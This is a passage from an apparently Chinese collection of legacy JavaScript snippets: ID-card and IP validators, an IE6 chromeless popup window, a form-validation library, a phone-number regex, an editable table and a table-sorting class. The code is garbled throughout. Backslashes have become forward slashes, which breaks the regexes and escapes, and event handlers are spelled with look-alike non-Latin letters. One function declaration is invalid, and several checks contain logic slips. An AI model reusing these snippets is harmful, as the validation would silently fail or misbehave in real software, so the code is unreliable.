       sBirthday=sId.substr(6,4)+"-"+Number(sId.substr(10,2))+"-"+Number(sId.substr(12,2));
       var d=new Date(sBirthday.replace(/-/g,"/"))
       if(sBirthday!=(d.getFullYear()+"-"+ (d.getMonth()+1) + "-" + d.getDate()))return "Error:非法生日";
       for(var i = 17;i>=0;i --) iSum += (Math.pow(2,i) % 11) * parseInt(sId.charAt(17 - i),11)
       if(iSum%11!=1)return "Error:非法证号";
       return aCity[parseInt(sId.substr(0,2))]+","+sBirthday+","+(sId.substr(16,1)%2?"男":"女")
    }

    document.write(cidInfo("380524198002300016"),"<br/>");
    document.write(cidInfo("340524198002300019"),"<br/>")
    document.write(cidInfo("340524197711111111"),"<br/>")
    document.write(cidInfo("34052419800101001x"),"<br/>");
    </script>

    2.验证IP地址
    <SCRIPT LANGUAGE="JavaScript">
    function isip(s){
       var check=function(v){try{return (v<=255 && v>=0)}catch(x){return false}};
       var re=s.split(".")
       return (re.length==4)?(check(re[0]) && check(re[1]) && check(re[2]) && check(re[3])):false
    }

    var s="202.197.78.129";
    alert(isip(s))
    </SCRIPT>

    3.加sp1后还能用的无边框窗口!!
    <HTML XMLNS:IE>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    <IE:Download ID="include" STYLE="behavior:url(#default#download)" />
    <title>Chromeless Window</title>

    <SCRIPT LANGUAGE="JScript">
    /*--- Special Thanks For andot ---*/

    /*
     This following code are designed and writen by Windy_sk <
    seasonx@163.net>
     You can use it freely, but u must held all the copyright items!
    */

    /*--- Thanks For andot Again ---*/

    var CW_width   = 400;
    var CW_height   = 300;
    var CW_top   = 100;
    var CW_left   = 100;
    var CW_url   = "/";
    var New_CW   = window.createPopup();
    var CW_Body   = New_CW.document.body;
    var content   = "";
    var CSStext   = "margin:1px;color:black; border:2px outset;border-style:expression(οnmοuseοut=οnmοuseup=function(){this.style.borderStyle='outset'}, οnmοusedοwn=function(){if(event.button!=2)this.style.borderStyle='inset'});background-color:buttonface;width:16px;height:14px;font-size:12px;line-height:11px;cursor:Default;";

    //Build Window
    include.startDownload(CW_url, function(source){content=source});

    function insert_content(){
       var temp = "";
       CW_Body.style.overflow      = "hidden";
       CW_Body.style.backgroundColor   = "white";
       CW_Body.style.border      =  "solid black 1px";
       content = content.replace(/<a ([^>]*)>/g,"<a οnclick='parent.open(this.href);return false' $1>");
       temp += "<table width=100% height=100% cellpadding=0 cellspacing=0 border=0>";
       temp += "<tr style=';font-size:12px;background:#0099CC;height:20;cursor:default' οndblclick=/"Max.innerText=Max.innerText=='1'?'2':'1';parent.if_max=!parent.if_max;parent.show_CW();/" οnmοuseup='parent.drag_up(event)' οnmοusemοve='parent.drag_move(event)' οnmοusedοwn='parent.drag_down(event)' onselectstart='return false' οncοntextmenu='return false'>";
       temp += "<td style='color:#ffffff;padding-left:5px'>Chromeless Window For IE6 SP1</td>";
       temp += "<td style='color:#ffffff;padding-right:5px;' align=right>";
       temp += "<span id=Help  οnclick=/"alert('Chromeless Window For IE6 SP1  -  Ver 1.0//n//nCode By Windy_sk//n//nSpecial Thanks For andot')/" style=/""+CSStext+"font-family:System;padding-right:2px;/">?</span>";
       temp += "<span id=Min   οnclick='parent.New_CW.hide();parent.blur()' style=/""+CSStext+"font-family:Webdings;/" title='Minimum'>0</span>";
       temp += "<span id=Max   οnclick=/"this.innerText=this.innerText=='1'?'2':'1';parent.if_max=!parent.if_max;parent.show_CW();/" style=/""+CSStext+"font-family:Webdings;/" title='Maximum'>1</span>";
       temp += "<span id=Close οnclick='parent.opener=null;parent.close()' style=/""+CSStext+"font-family:System;padding-right:2px;/" title='Close'>x</span>";
       temp += "</td></tr><tr><td colspan=2>";
       temp += "<div id=include style='overflow:scroll;overflow-x:hidden;overflow-y:auto; HEIGHT: 100%; width:"+CW_width+"'>";
       temp += content;
       temp += "</div>";
       temp += "</td></tr></table>";
       CW_Body.innerHTML = temp;
    }

    setTimeout("insert_content()",1000);

    var if_max = true;
    function show_CW(){
       window.moveTo(10000, 10000);
       if(if_max){
          New_CW.show(CW_top, CW_left, CW_width, CW_height);
          if(typeof(New_CW.document.all.include)!="undefined"){
             New_CW.document.all.include.style.width = CW_width;
             New_CW.document.all.Max.innerText = "1";
          }
          
       }else{
          New_CW.show(0, 0, screen.width, screen.height);
          New_CW.document.all.include.style.width = screen.width;
       }
    }

    window.onfocus  = show_CW;
    window.onresize = show_CW;

    // Move Window
    var drag_x,drag_y,draging=false

    function drag_move(e){
       if (draging){
          New_CW.show(e.screenX-drag_x, e.screenY-drag_y, CW_width, CW_height);
          return false;
       }
    }

    function drag_down(e){
       if(e.button==2)return;
       if(New_CW.document.body.offsetWidth==screen.width && New_CW.document.body.offsetHeight==screen.height)return;
       drag_x=e.clientX;
       drag_y=e.clientY;
       draging=true;
       e.srcElement.setCapture();
    }

    function drag_up(e){
       draging=false;
       e.srcElement.releaseCapture();
       if(New_CW.document.body.offsetWidth==screen.width && New_CW.document.body.offsetHeight==screen.height) return;
       CW_top  = e.screenX-drag_x;
       CW_left = e.screenY-drag_y;
    }

    </SCRIPT>
    </HTML>

    JS判断全收集
    js


    /*$#################################################$*/
    /* 程序功能:输入验证                                */
    /* 函数名称:                                        */
    /* function CheckData(valname,val,valimode,limitlen) */
    /* 功能说明:验证字符串数据                          */
    /* function CheckUserName(val,min,max)               */
    /* 功能说明:验证用户名                              */
    /* function CheckPassWord(val,min,max)               */
    /* 功能说明:验证密码                                */
    /* function IsSame(val1,val2)                        */
    /* 验证密码匹配                                      */
    /* function CheckEmail(val,mode)                     */
    /* 功能说明:验证Email                               */
    /* function CheckValHeight(val,min,max,mode)         */
    /* 功能说明:验证用户身高                            */
    /* function CheckValWeight(val,min,max,mode)         */
    /* 功能说明:验证用户体重                            */
    /* function CheckNumber(val,min,max,mode)            */
    /* 功能说明:验证数值                                */
    /* function CheckPositive(val,min,max,mode)          */
    /* 功能说明:验证正数值                              */
    /* function CheckNegative(val,min,max,mode)          */
    /* 功能说明:验证负数值                              */
    /* function CheckFloat(val,min,max,mode)             */
    /* 功能说明:验证浮点数值                            */
    /* function CheckPath(val,mode)                      */
    /* 功能说明:验证文件路径                            */
    /* function CheckURL(val,mode)                       */
    /* 功能说明:验证URL                                 */
    /* function CheckChinaIDCard_J(val,mode)             */
    /* 功能说明:验证身份证                              */
    /* function isInteger(sNum)                          */
    /* 功能说明:验证整数                                */
    /* function CheckZip(val,slen,mode)                  */
    /* 功能说明:验证Zip                                 */
    /* 输入参数:mode真&假(是否允许为空)                 */
    /*           val表单(被判断项),va2表单(被判断项)    */
    /*           max(最大值),min(最小值) ......         */
    /* 编写时间:              2003.09.08.2214           */
    /*$#################################################$*/

    //验证字符串数据
    function CheckData(valname,val,valimode,limitlen){
       if( val.value.indexOf("<",0)>0 || val.value.indexOf(">",0)>0){
          alert(valname+"不能包含<或>字符!。");
          val.focus();
          val.select();   
          return false;
       }
        if(valimode==1){
          if(isblank(val.value)){
             alert(valname+"不能为空!");
             val.focus();
             val.select();   
                return false;
            }
            tmp=new String(val.value)
          if(istoolong(tmp,limitlen)){
             alert(valname+"不能超过"+limitlen+"个字符!");
             val.focus();
             val.select();   
                return false;
            }
        }
        else{
          tmp=new String(val.value)
            if(istoolong(tmp,limitlen)){
             alert(valname+"不能超过"+limitlen+"个字符!!");
             val.focus();
             val.select();   
                return false;
            }
        }
        return true;
    }
    function isblank(str){
        var i;
        var len=str.length;
        for(i=0;i<len;++i){
          if(str.charAt(i)!=" ")
             return false;
        }
        return true;
    }
    function istoolong(str,i){
        var len=str.length;
        if(i==0)
          return false;
        else{   
            if(len>i)
              return true;
            else
             return false;
        }
    }

    //验证用户名
    function CheckUserName(val,min,max){
       var len = val.value.length;
       if (len<min || len>max){
          alert("用户名长度不正确,应为"+min+"-"+max+"个英文字母、数字。");
          val.focus();
          val.select();   
          return false;
       }
       for (i=0;i<val.value.length;i++){
          var ch = val.value.charAt(i);
          if ( (ch<"0" || ch>"9") && (ch<"a" || ch >"z")){
             alert("用户名必须由小写字母或数字组成。");
             val.focus();
             val.select();   
             return false;
          }
       }
               var first =val.value.charAt(0)
               if (first<"a" || ch >"z"){
               alert("用户名必须由小写字母开头。");
             val.focus();
             val.select();   
             return false;
           }

       return true;
    }
    //验证密码
    function CheckPassWord(val,min,max){
       var len = val.value.length;
       if (len<min || len>max){
          alert("密码长度不正确,应为"+min+"-"+max+"个英文字母、数字。");
          val.focus();
          val.select();   
          return false;
       }
       for (i=0;i<val.value.length;i++){
          var ch = val.value.charAt(i);
          if ( (ch<"0" || ch>"9") && (ch<"a" || ch >"z")){
             alert("密码必须由小写字母或数字组成。");
             val.focus();
             val.select();   
             return false;
          }
       }
       return true;
    }
    //验证密码匹配
    function IsSame(val1,val2){
       if (val1.value != val2.value ){
          alert("两次输入的密码不相同。");
          val2.focus();
          val2.select();   
          return false;
       }
       else
          return true;
    }
    //验证Email
    function CheckEmail(val,mode){
       if((mode==0) && (val.value=="")){
          return true;
       }

       var etext
       var elen
       var i
       var aa
       etext=val.value
       elen=etext.length
       if (elen<5){
          alert("请输入正确的Email。");
          val.focus();
          val.select();   
          return false;
       }
       i= etext.indexOf("@",0)
       if (i==0 || i==-1 || i==elen-1){
          alert("请输入正确的Email。");
          val.focus();
          val.select();   
          return false;
       }
       else{
          if (etext.indexOf("@",i+1)!=-1){
             alert("请输入正确的Email。");
             val.focus();
             val.select();   
             return false;
          }
       }
       if (etext.indexOf("..",i+1)!=-1){
          alert("请输入正确的Email。");
          val.focus();
          val.select();   
          return false;
       }
       i=etext.indexOf(".",0)
       if (i==0 || i==-1 || etext.charAt(elen-1)=='.'){
          alert("请输入正确的Email。");
          val.focus();
          val.select();   
          return false;
       }
       if ( etext.charAt(0)=='-' ||  etext.charAt(elen-1)=='-'){
          alert("请输入正确的Email。");
          val.focus();
          val.select();   
          return false;
       }
       if ( etext.charAt(0)=='_' ||  etext.charAt(elen-1)=='_'){
          alert("请输入正确的Email。");
          val.focus();
          val.select();   
          return false;
       }
       for (i=0;i<=elen-1;i++){
          aa=etext.charAt(i)
          if (!((aa=='.') || (
    aa=='@') || (aa=='-') ||(aa=='_') || (aa>='0' && aa<='9') || (aa>='a' && aa<='z') || (aa>='A' && aa<='Z'))){
             alert("请输入正确的Email。");
             val.focus();
             val.select();   
             return false;
          }
       }
       return true;
    }

    //验证用户身高
    function CheckValHeight(val,min,max,mode){
       if((mode==0) && (val.value=="")){
          return true;
       }
       
       var len = val.value.length;
       if (len<min || len>max){
          alert("请输入正确的身高数据。");
          val.focus();
          val.select();   
          return false;
       }
       var val2 = val.value;
       for (i=0;i<val2.length;i++){
          var ch = val2.charAt(i);
          if ( (ch<"0" || ch>"9") ){
             alert("身高数据必须由有效数字组成。");
             val.focus();
             val.select();   
             return false;
          }
       }
       if (isNaN(val2)){   
          alert("身高数据必须由有效数字组成。");
          val.focus();
          val.select();   
          return false;
       }
       else if (parseInt(val2)<=0){
          alert("身高数据必须由有效数字组成。");
          val.focus();
          val.select();   
          return false;
       }
       else if (val2.indexOf('0')==0){
          alert("身高数据必须由有效数字组成。");
          val.focus();
          val.select();   
          return false;
       }
       return true;
    }
    //验证用户体重
    function CheckValWeight(val,min,max,mode){
       if((mode==0) && (val.value=="")){
          return true;
       }
       
       var len = val.value.length;
       if (len<min || len>max){
          alert("请输入正确的体重数据。");
          val.focus();
          val.select();   
          return false;
       }
       var val2 = val.value;
       for (i=0;i<val2.length;i++){
          var ch = val2.charAt(i);
          if ( (ch<"0" || ch>"9") ){
             alert("体重数据必须由有效数字组成。");
             val.focus();
             val.select();   
             return false;
          }
       }
       if (isNaN(val2)){   
          alert("体重数据必须由有效数字组成。");
          val.focus();
          val.select();   
          return false;
       }
       else if (parseInt(val2)<=0){
          alert("体重数据必须由有效数字组成。");
          val.focus();
          val.select();   
          return false;
       }
       else if (val2.indexOf('0')==0){
          alert("体重数据必须由有效数字组成。");
          val.focus();
          val.select();   
          return false;
       }
       return true;
    }
    //验证数值
    function CheckNumber(val,min,max,mode){
       if((mode==0) && (val.value=="")){
          return true;
       }
       
       var len = val.value.length;
       if (len<min || len>max){
          alert("请输入正确的数值。");
          val.focus();
          val.select();   
          return false;
       }
       var val2 = val.value;
       for (i=1;i<val2.length;i++){
          var ch = val2.charAt(i);
          if ( (ch<"0" || ch>"9" ) ){
             alert("请输入正确的数值。");
             val.focus();
             val.select();   
             return false;
          }
       }
       if (isNaN(val2)){   
          alert("请输入正确的数值。");
          val.focus();
          val.select();   
          return false;
       }
       else if (val2.indexOf('0')==0 && len>1){
          alert("请输入正确的有效数值。");
          val.focus();
          val.select();   
          return false;
       }
       else if (val2.indexOf('-')==0 && val2.indexOf('0')==1){
          alert("请输入正确的有效数值。");
          val.focus();
          val.select();   
          return false;
       }
       return true;
    }
    //验证正数值
    function CheckPositive(val,min,max,mode){
       if((mode==0) && (val.value=="")){
          return true;
       }
       
       if(!CheckNumber(val,min,max,mode)){
          val.focus();
          val.select();   
          return false;
       }
       if (parseInt(val.value)<=0){
          alert("数据必须为有效的正整数。");
          val.focus();
          val.select();   
          return false;
       }

       return true;
    }

    //验证负数值
    function CheckNegative(val,min,max,mode){
       if((mode==0) && (val.value=="")){
          return true;
       }
       
       if(!CheckNumber(val,min,max,mode)){
          val.focus();
          val.select();   
          return false;
       }
       if (parseInt(val.value)>=0){
          alert("数据必须为有效的负整数。");
          val.focus();
          val.select();   
          return false;
       }

       return true;
    }
    //验证浮点数值
    function CheckFloat(val,min,max,mode){
       if((mode==0) && (val.value=="")){
          return true;
       }
       
       var len = val.value.length;
       if (len<min || len>max){
          alert("请输入正确的浮点数值。");
          val.focus();
          val.select();   
          return false;
       }
       var val2 = val.value;
       for (i=1;i<val2.length;i++){
          var ch = val2.charAt(i);
          if ( (ch<"0" || ch>"9" ) ){
             if(ch!="."){
                alert("请输入正确的浮点数值。");
                val.focus();
                val.select();   
                return false;
             }
          }
       }
       if (isNaN(val2)){   
          alert("请输入正确的浮点数值。");
          val.focus();
          val.select();   
          return false;
       }
       else if (val2.indexOf('0')==0 && val2.indexOf('.')!=1){
          alert("请输入正确的有效浮点数值。");
          val.focus();
          val.select();   
          return false;
       }
       else if (val2.indexOf('-')==0 && val2.indexOf('0')==1 && val2.indexOf('.')!=2){
          alert("请输入正确的有效浮点数值。");
          val.focus();
          val.select();   
          return false;
       }
       else if (val2.indexOf('-')==0 && val2.indexOf('.')==1){
          alert("请输入正确的有效浮点数值。");
          val.focus();
          val.select();   
          return false;
       }
       else if (val2.indexOf('.')==0){
          alert("请输入正确的有效浮点数值。");
          val.focus();
          val.select();   
          return false;
       }
       return true;
    }
    //验证文件路径
    function CheckPath(val,mode){
       if((mode==0) && (val.value=="")){
          return true;
       }
       
       var val2 = val.value;
       if ( val2.indexOf('://')>0 ){
          var isNot=" 
    !@#$^*()'`~|]}[{;.>,<?%&+=";
          if (val2.indexOf('/"')>0){
             alert("请输入正确的文件路径。");
             val.focus();
             val.select();   
             return false;
          }
          else{
             for (var i = 0;i < val2.length;i++){
                for (var x = 1 ;x < isNot.length;x++){
                   if (val2.charAt(i)==isNot.charAt(x)){
                      alert("请输入正确的文件路径。");
                      val.focus();
                      val.select();   
                      return false;
                   }
                }
             }
          }
       }
       else{
          alert("请输入正确的文件路径。");
          val.focus();
          val.select();   
          return false;
       }
       return true;
    }
    //验证URL
    function CheckURL(val,mode){
       if((mode==0) && (val.value=="")){
          return true;
       }
       
       var val2 = val.value;
       if ( val2.indexOf('://')>0 ){
          var isNot=" 
    !@$^*()'`~|]}[{;.>,<";
          if (val2.indexOf('/"')>0){
             alert("请输入正确的URL。");
             val.focus();
             val.select();   
             return false;
          }
          else{
             for (var i = 0;i < val2.length;i++){
                for (var x = 1 ;x < isNot.length;x++){
                   if (val2.charAt(i)==isNot.charAt(x)){
                      alert("请输入正确的URL。");
                      val.focus();
                      val.select();   
                      return false;
                   }
                }
             }
          }
       }
       else{
          alert("请输入正确的URL。");
          val.focus();
          val.select();   
          return false;
       }
       return true;
    }
    //验证身份证
    function CheckChinaIDCard_J(val,mode){
       if((mode==0) && (val.value=="")){
          return true;
       }
       
        sNo = val.value.toString()
       if (!isInteger(sNo)) {
          alert("请输入正确的身份证。");
          val.focus();
          val.select();   
          return false
       }   
       switch(sNo.length){
          case 15: if (isValidDate(sNo.substr(6,2),sNo.substr(8,2),sNo.substr(10,2))) {
             return true
          }
          case 17: if (isValidDate(sNo.substr(6,4),sNo.substr(10,2),sNo.substr(12,2))) {
             return true
          }
       }
       alert("请输入正确的身份证。");
       val.focus();
       val.select();   
       return false
    }
    function isInteger(sNum) {
       var   num
       num=new RegExp('[^0-9_]','')
       if (isNaN(sNum)) {
          return false
       }
       else {
          if (sNum.search(num)>=0) {
             return false
          }
          else {
             return true
          }
       }
    }

    //验证Zip
    function CheckZip(val,slen,mode){
       if((mode==0) && (val.value=="")){
          return true;
       }
       
       if(val.value.length!=slen){
          alert('请输入正确的邮政编码!!');
          val.focus();
          val.select();   
          return false
       }
       var r1
       r1 = new RegExp('[^0-9]','');
       if ( val.value.search(r1) >= 0 ) {
          alert('请输入正确的邮政编码!!');
          val.focus();
          val.select();   
          return false
       }
       else
          return true;
    }


    电话号码的验证
    电话号码的验证

    要求:
      (1)电话号码由数字、"("、")"和"-"构成
      (2)电话号码为3到8位
      (3)如果电话号码中包含有区号,那么区号为三位或四位
      (4)区号用"("、")"或"-"和其他部分隔开
      (5)移动电话号码为11或12位,如果为12位,那么第一位为0
      (6)11位移动电话号码的第一位和第二位为"13"
      (7)12位移动电话号码的第二位和第三位为"13"
      根据这几条规则,可以与出以下正则表达式:
      (^[0-9]{3,4}/-[0-9]{3,8}$)|(^[0-9]{3,8}$)|(^/([0-9]{3,4}/)[0-9]{3,8}$)|(^0{0,1}13[0-9]{9}$)


    <script language="javascript">
    function PhoneCheck(s) {
    var str=s;
    var reg=/(^[0-9]{3,4}/-[0-9]{3,8}$)|(^[0-9]{3,8}$)|(^/([0-9]{3,4}/)[0-9]{3,8}$)|(^0{0,1}13[0-9]{9}$)/
    alert(reg.test(str));
    }
    </script>
    <input type=text name="iphone">
    <input type=button οnclick="PhoneCheck(document.all.iphone.value)" value="Check">

    自由编辑表格
    //===============================start================================


    <HTML>
    <HEAD>
    <META http-equiv="Content-Type" content="text/html; charset=gb2312">
    <TITLE>测试修改表格</TITLE>
    <STYLE>
    /*提示层的样式*/
    div
    {
      BORDER-RIGHT: #80c144 1px solid;
      BORDER-TOP: #80c144 1px solid;
      VISIBILITY: hidden;
      BORDER-LEFT: #80c144 1px solid;
      CURSOR: default;
      LINE-HEIGHT: 20px;
      BORDER-BOTTOM: #80c144 1px solid;
      FONT-FAMILY: 宋体;
      font-size:12px;
      POSITION: absolute;
      BACKGROUND-COLOR: #f6f6f6;
      TOP:30px;
      LEFT:30px;
    }
    /*tr的样式*/
    tr
    {
        font-family: "宋体";
        color: #000000;
        background-color: #C1DBF5;
        font-size: 12px
    }
    /*table脚注样式*/
    .TrFoot
    {
        FONT-SIZE: 12px;
        font-family:"宋体", "Verdana", "Arial";
        BACKGROUND-COLOR: #6699CC;
        COLOR:#FFFFFF;
        height: 25;
    }
    /*trhead属性*/
    .TrHead
    {
        FONT-SIZE: 13px;
        font-family:"宋体", "Verdana", "Arial";
        BACKGROUND-COLOR: #77AADD;
        COLOR:#FFFFFF;
        height: 25;
    }
    /*文本框样式*/
    INPUT
    {
        BORDER-COLOR: #AACEF7 #AACEF7 #AACEF7 #AACEF7;
        BORDER-RIGHT: 1px solid;
        BORDER-TOP: 1px solid;
        BORDER-LEFT: 1px solid;
        BORDER-BOTTOM: 1px solid;
        FONT-SIZE: 12px;
        FONT-FAMILY: "宋体","Verdana";
        color: #000000;
        BACKGROUND-COLOR: #E9EFF5;
    }
    /*button样式*/
    button
    {
        BORDER-COLOR: #AACEF7 #AACEF7 #AACEF7 #AACEF7;
        BACKGROUND-COLOR: #D5E4F3;
        CURSOR: hand;
        FONT-SIZE:12px;
        BORDER-RIGHT: 1px solid;
        BORDER-TOP: 1px solid;
        BORDER-LEFT: 1px solid;
        BORDER-BOTTOM: 1px solid;
        COLOR: #000000;
    }
    </STYLE>
    </HEAD>
    <BODY>
    <SCRIPT language = "JavaScript">
    <!--全局变量
    //标志位,值为false代表未打开一个编辑框,值为true为已经打开一个编辑框开始编辑
    var editer_table_cell_tag = false;
    //开启编辑功能标志,值为true时为允许编辑
    var run_edit_flag = false;
    //-->
    </SCRIPT>

    <SCRIPT language = "JavaScript">
    <!--
    /**
     * 编辑表格函数
     * 单击某个单元格可以对里面的内容进行自由编辑
     * @para tableID 为要编辑的table的id
     * @para noEdiID 为不要编辑的td的ID,比如说table的标题
     * 可以写为<TD id="no_editer">自由编辑表格</TD>
     * 此时该td不可编辑
     */
    function editerTableCell(tableId,noEdiId)
    {
       var tdObject = event.srcElement;
       var tObject = ((tdObject.parentNode).parentNode).parentNode;
       if(tObject.id == tableId &&tdObject.id != noEdiId&&editer_table_cell_tag == false && run_edit_flag == true)
       {
          tdObject.innerHTML = "<input type=text id=edit_table_txt name=edit_table_txt value="+tdObject.innerText+" size='15' onKeyDown='enterToTab()'>  <input type=button value=' 确定 ' οnclick='certainEdit()'>";
          edit_table_txt.focus();
          edit_table_txt.select();
          editer_table_cell_tag = true;
          //修改按钮提示信息
          editTip.innerText = "请先点确定按钮确认修改!";      
       }
       else
       {
          return false;
       }
    }

    /**
     * 确定修改
     */
    function certainEdit()
    {
       var bObject = event.srcElement;
       var tdObject = bObject.parentNode;   
       var txtObject = tdObject.firstChild;
       tdObject.innerHTML = txtObject.value;
       //代表编辑框已经关闭
       editer_table_cell_tag = false;
       //修改按钮提示信息
       editTip.innerText = "请单击某个单元格进行编辑!";
    }

    function enterToTab()
    {
        if(event.srcElement.type != 'button' && event.srcElement.type != 'textarea'
           && event.keyCode == 13)
        {
            event.keyCode = 9;
        }
    }

    /**
     * 控制是否编辑
     */
    function editStart()
    {
       if(event.srcElement.value == "开始编辑")
       {
          event.srcElement.value = "编辑完成";
          run_edit_flag = true;
       }
       else
       {
          //如果当前没有编辑框,则编辑成功,否则,无法提交
          //必须按确定按钮后才能正常提交
          if(editer_table_cell_tag == false)
          {
             alert("编辑成功结束!");
             event.srcElement.value = "开始编辑";
             run_edit_flag = false;
          }
       }
    }

    /**
     * 根据不同的按钮提供不同的提示信息
     */
    function showTip()
    {
       if(event.srcElement.value == "编辑完成")
       {
          editTip.style.top = event.y + 15;
          editTip.style.left = event.x + 12;
          editTip.style.visibility = "visible";      
       }
       else
       {
          editTip.style.visibility = "hidden";         
       }   
    }
    -->
    </SCRIPT>
    <TABLE id="editer_table" width="100%" align="center" 
          οnclick="editerTableCell('editer_table','no_editer')">  
        <TR class="TrHead">
          <TD colspan="3" align="center" id="no_editer">自由编辑表格</TD>      
       </TR>
       <TR>
          <TD width="33%">单击开始编辑按钮,然后点击各单元格编辑</TD>
          <TD width="33%">2</TD>
          <TD width="33%">3</TD>
       </TR>
       <TR>
          <TD width="33%">4</TD>
          <TD width="33%">5</TD>
          <TD width="33%">6</TD>
       </TR>
       <TR>
          <TD width="33%">one</TD>
          <TD width="33%">two</TD>
          <TD width="33%">three</TD>
       </TR>
       <TR>
          <TD width="33%">four</TD>
          <TD width="33%">five</TD>
          <TD width="33%">six</TD>
       </TR>      
        <TR class="TrFoot">
          <TD colspan="3" align="center" id="no_editer">
             <INPUT type="button" class="bt" value="开始编辑" onClick="editStart()" onMouseOver="showTip()" onMouseMove="showTip()" onMouseOut="editTip.style.visibility = 'hidden';">
          </TD>
       </TR>   
    </TABLE>
    </BODY>
    <DIV id="editTip">请单击某个单元格进行编辑!</DIV> 
    </HTML>


    验证ip


    str=document.RegExpDemo.txtIP.value;
    if(/^(/d{1,3})/.(/d{1,3})/.(/d{1,3})/.(/d{1,3})$/.test(str)==false)
    {
       window.alert('错误的IP地址格式');
       document.RegExpDemo.txtIP.select();
       document.RegExpDemo.txtIP.focus();
       return;
    }
    if(RegExp.$1<1 || RegExp.$1>254||RegExp.$2<0||RegExp.$2>254||RegExp.$3<0||RegExp.$3>254||RegExp.$4<1||RegExp.$4>254)
    {
       window.alert('错误的IP地址');
       document.RegExpDemo.txtIP.select();
       document.RegExpDemo.txtIP.focus();
       return;
    }
    //剔除 如  010.020.020.03 前面 的0 
    var str=str.replace(/0(/d)/g,"$1");
    str=str.replace(/0(/d)/g,"$1");
    window.alert(str);


    升降序排列数据(表格)
    //一下是取数据的类
    //Obj参数指定数据的来源(限定Table),默认第一行为字段名称行
    //GetTableData类提供MoveNext方法,参数是表的行向上或向下移动的位数,正数向下移动,负数向上.
    //GetFieldData方法获得指定的列名的数据
    //Sort_desc方法对指定的列按降序排列
    //Sort_asc方法对指定的列按升序排列
    //GetData方法返回字段值为特定值的数据数组,提供数据,可以在外部进行其他处理
    //Delete方法删除当前记录,数组减少一行
    //初始化,Obj:table的名字,Leftlen:左面多余数据长度,Rightlen:右面多余数据长度,
    function GetTableData(Obj,LeftLen,RightLen){
    var MyObj=document.all(Obj);
    var iRow=MyObj.rows.length;
    var iLen=MyObj.rows[0].cells.length;
    var i,j;

    TableData=new Array();
          for (i=0;i< iRow;i++){
             TableData[i]=new Array();
             for (j=0;j<iLen;j++){
             TableStr=MyObj.rows(i).cells(j).innerText;
             TableStr=TableStr.substring(LeftLen, TableStr.length-RightLen).Trim();
             TableStr=TableStr.replace(/ /gi,"").replace(//r/n/ig,"");
             TableData[i][j]=TableStr;
             }
             }
        
        this.TableData=TableData; 
        this.cols=this.TableData[0].length;
        this.rows=this.TableData.length;
        this.rowindex=0;
    }


    function movenext(Step){
    if (this.rowindex>=this.rows){
    return
    }

    if (Step=="" || typeof(Step)=="undefined") {
       if (this.rowindex<this.rows-1)
       this.rowindex++;
       return;

    }
       else{
          if (this.rowindex + Step<=this.rows-1 && this.rowindex + Step>=0 ){
          this.rowindex=this.rowindex + Step;
          }
          else
          {
          if (this.rowindex + Step<0){
           this.rowindex= 0;
           return;
           }
          if (this.rowindex + Step>this.rows-1){
           this.rowindex= this.rows-1;
           return;
           }
          }
       }
    }


    function getfielddata(Field){
    var colindex=-1;
    var i=0;
       if (typeof(Field) == "number"){
             colindex=Field;
          }
       else
       {
       for (i=0;i<this.cols && this.rowindex<this.rows ;i++){
             if (this.TableData[0][i]==Field){
             colindex=i;
             break;
             }      
          }
       }
          if (colindex!=-1) {
          return this.TableData[this.rowindex][colindex];
          }

    }

    function sort_desc(){//降序
       var colindex=-1;
       var highindex=-1;
       desc_array=new Array();
       var i,j;
    for (n=0; n<arguments.length; n++){
       Field=arguments[arguments.length-1-n];
       for (i=0;i<this.cols;i++){
          if (this.TableData[0][i]==Field){
          colindex=i;
          break;
          }      
       }
       if ( colindex==-1 )
          return;
       else
          {
          desc_array[0]=this.TableData[0];
          for(i=1;i<this.rows;i++){
          desc_array[i]=this.TableData[1];
          highindex=1;
             for(j=1;j<this.TableData.length;j++){
                if    (desc_array[i][colindex]<this.TableData[j][colindex]){   
                    desc_array[i]=this.TableData[j];   
                    highindex=j;
                }
                
             }
                   if (highindex!=-1)
                   this.TableData=this.TableData.slice(0,highindex).concat(this.TableData.slice(highindex+1,this.TableData.length));                      
          }
       }

     
       this.TableData=desc_array;
    }
       return;
    }

    function sort_asc(){//升序
       var colindex=-1;
       var highindex=-1;
       var i,j;
    for (n=0; n<arguments.length; n++){
             asc_array=new Array();
             Field=arguments[arguments.length-1-n];
             for (i=0;i<this.cols;i++){
                if (this.TableData[0][i]==Field){
                colindex=i;
                break;
                }      
             }
             if ( colindex==-1 )
                   return;
             else
                   {
                   asc_array[0]=this.TableData[0];
                   for(i=1;i<this.rows;i++){
                   asc_array[i]=this.TableData[1];
                   highindex=1;
                      for(j=1;j<this.TableData.length;j++){//找出最小的列值
                         if    (asc_array[i][colindex]>this.TableData[j][colindex]){   
                             asc_array[i]=this.TableData[j];   
                             highindex=j;
                                  
                            }
                                  
                         }
                               if (highindex!=-1)
                               this.TableData=this.TableData.slice(0,highindex).concat(this.TableData.slice(highindex+1,this.TableData.length));                      
                               
                      }
                   }

     
                this.TableData=asc_array;
       }
       return;
    }

    function getData(Field,FieldValue){
    var colindex=-1;
    var i,j;

    GetData=new Array();
          if (typeof(Field)=="undefined" || typeof(FieldValue)=="undefined" ){
          return this.TableData;
          }
          
             for(j=0;j<this.cols;j++){
                if    (this.TableData[0][j]==Field){
                   colindex=j;
                   }
             }
             if (colindex!=-1){
             
             for(i=1;i<this.rows;i++){
                if    (this.TableData[i][colindex]==FieldValue){
                   GetData[i]=new Array();
                   GetData[i]=this.TableData[i];   
                   }
             }
             }
       return GetData;
    }
    function DeletE(){
    this.TableData=this.TableData.slice(0,this.rowindex).concat(this.TableData.slice(this.rowindex+1,this.TableData.length));                      
    this.rows=this.TableData.length;
    return;
    }
    function updateField(Field,FieldValue){
    var colindex=-1;
    var i=0;
       if (typeof(Field) == "number"){
             colindex=Field;
          }
       else
       {
       for (i=0;i<this.cols && this.rowindex<this.rows ;i++){
             if (this.TableData[0][i]==Field){
             colindex=i;
             break;
             }      
          }
       }
       if (colindex!=-1) {
          this.TableData[this.rowindex][colindex]=FieldValue;
          }


    }
    function movefirst(){
    this.rowindex=0;
    }
    function movelast(){
    this.rowindex=this.rows-1;
    }
    function String.prototype.Trim() {return this.replace(/(^/s*)|(/s*$)/g,"");}
    GetTableData.prototype.MoveNext = movenext;
    GetTableData.prototype.GetFieldData = getfielddata;
    GetTableData.prototype.Sort_asc = sort_asc;
    GetTableData.prototype.Sort_desc = sort_desc;
    GetTableData.prototype.GetData = getData;
    GetTableData.prototype.Delete = DeletE;
    GetTableData.prototype.UpdateField = updateField;
